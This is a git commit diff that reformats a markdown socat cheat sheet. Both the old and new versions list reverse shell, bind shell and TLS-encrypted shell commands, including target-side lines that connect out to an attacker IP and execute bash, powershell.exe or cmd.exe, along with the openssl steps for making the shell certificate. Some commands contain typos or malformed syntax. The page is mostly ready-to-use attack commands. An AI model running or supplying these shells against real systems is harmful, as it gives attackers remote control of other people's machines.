cleanup
This commit is contained in:
parent
d61022f4b3
commit
71b1322381
|
|
@ -1,54 +1,100 @@
|
|||
# socat cheat sheet
|
||||
|
||||
## Reverse Shell
|
||||
|
||||
### reverse shell listener
|
||||
```socat tcp-l:<port> -```
|
||||
```socat TCP-L:<PORT> file:`tty`,raw,echo=0```
|
||||
|
||||
```sh
|
||||
socat tcp-l:<port> -
|
||||
```
|
||||
|
||||
```sh
|
||||
socat TCP-L:<PORT> file:`tty`,raw,echo=0
|
||||
```
|
||||
|
||||
### windows target
|
||||
|
||||
```sh
|
||||
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:powershell.exe,pipes
|
||||
```
|
||||
|
||||
### linux target
|
||||
|
||||
```sh
|
||||
socat TCP:<LOCAL-IP>:<LOCAL-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
|
||||
```
|
||||
|
||||
## Bind Shell
|
||||
|
||||
### generic connect
|
||||
```socat TCP:<TARGET-IP>:<TARGET-PORT> -```
|
||||
|
||||
```sh
|
||||
socat TCP:<TARGET-IP>:<TARGET-PORT> -
|
||||
```
|
||||
|
||||
### windows target listener
|
||||
```socat TCP-L:<PORT> EXEC:powershell.exe,pipes```
|
||||
|
||||
```sh
|
||||
socat TCP-L:<PORT> EXEC:powershell.exe,pipes
|
||||
```
|
||||
|
||||
### linux target listener
|
||||
```socat TCP-L:<PORT> EXEC:"bash -li"
|
||||
|
||||
```sh
|
||||
socat TCP-L:<PORT> EXEC:"bash -li"
|
||||
```
|
||||
|
||||
## Connect from statically compiled socat to LHOST
|
||||
|
||||
Binary is inside this dir
|
||||
```socat TCP:<ATTACKER-IP>:<ATTACKER-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane```
|
||||
```sh
|
||||
socat TCP:<ATTACKER-IP>:<ATTACKER-PORT> EXEC:"bash -li",pty,stderr,sigint,setsid,sane
|
||||
```
|
||||
|
||||
## Encrypted Shell
|
||||
|
||||
### create key + cert
|
||||
```openssll req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 362 -out shell.crt```
|
||||
|
||||
```sh
|
||||
openssll req --newkey rsa:2048 -nodes -keyout shell.key -x509 -days 365 -out shell.crt
|
||||
```
|
||||
|
||||
### create pem file
|
||||
```cat shell.key shell.crt > shell.pem```
|
||||
|
||||
```sh
|
||||
cat shell.key shell.crt > shell.pem
|
||||
```
|
||||
|
||||
### reverse shell listener
|
||||
```socat openssl-listen:<port>,cert=shell.pem,verify=0 -```
|
||||
```socat openssl-listen:<port>,cert=shell.pem,verify=0 file:`tty`,raw,echo=0```
|
||||
|
||||
```sh
|
||||
socat openssl-listen:<port>,cert=shell.pem,verify=0 -
|
||||
```
|
||||
|
||||
```sh
|
||||
socat openssl-listen:<port>,cert=shell.pem,verify=0 file:`tty`,raw,echo=0
|
||||
```
|
||||
|
||||
### connecting shell on target to listener
|
||||
```socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:/bin/bash```
|
||||
```socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane```
|
||||
|
||||
```sh
|
||||
socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:/bin/bash
|
||||
```
|
||||
|
||||
```sh
|
||||
socat openssl:<attacker-ip>:<attacker-port>,verify=0 exec:"bash -li",pty,stderr,sigint,setsid,sane
|
||||
```
|
||||
|
||||
### encrypted bind shell on windows listening
|
||||
* target
|
||||
```socat openssl-listen:<local-ip>:<local-port>,verify=0 exec:cmd.exe,pipes```
|
||||
|
||||
Target:
|
||||
|
||||
```sh
|
||||
socat openssl-listen:<local-ip>:<local-port>,verify=0 exec:cmd.exe,pipes
|
||||
```
|
||||
|
||||
### encrypted bind shell attacker connecting
|
||||
```socat openssl:<port>,cert=shell.pem,verify=0 -```
|
||||
|
||||
|
||||
```sh
|
||||
socat openssl:<port>,cert=shell.pem,verify=0 -
|
||||
```
|
||||
|
|
|
|||
Loading…
Reference in New Issue